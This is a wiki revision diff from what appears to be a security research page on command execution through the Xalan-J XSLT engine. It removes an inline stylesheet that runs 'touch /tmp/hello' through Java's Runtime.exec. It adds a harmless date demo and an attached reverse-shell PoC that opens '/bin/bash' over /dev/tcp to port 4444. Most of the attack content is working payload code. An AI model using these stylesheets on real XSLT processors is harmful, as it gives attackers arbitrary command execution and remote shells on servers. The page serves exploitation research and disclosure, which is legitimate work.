Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 44.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:31
Change comment: There is no comment for this version
To version Icon 50.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:52
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -50,18 +50,9 @@
50 50  
51 51  == OS command execution ==
52 52  
53 -The following code will execute the command "touch /tmp/hello" :
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 54  
55 -<?xml version="1.0"?>
56 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
57 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
58 - exclude-result-prefixes="j"
59 - version="1.0">
60 - <xsl:template match="/">
61 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
62 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
63 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
64 - <xsl:variable name="p" select="j:exec($r, $a )"/>
65 - No content at the moment ...
66 - </xsl:template>
67 -</xsl:stylesheet>
55 +|=Namespace|=Extension function|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|getRuntime() = exec()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 +
58 +__Note__ : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
Icon xalanj-java-date.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +409 bytes
Content
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1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +
Icon xalanj-reverse-bash.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +1002 bytes
Content
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +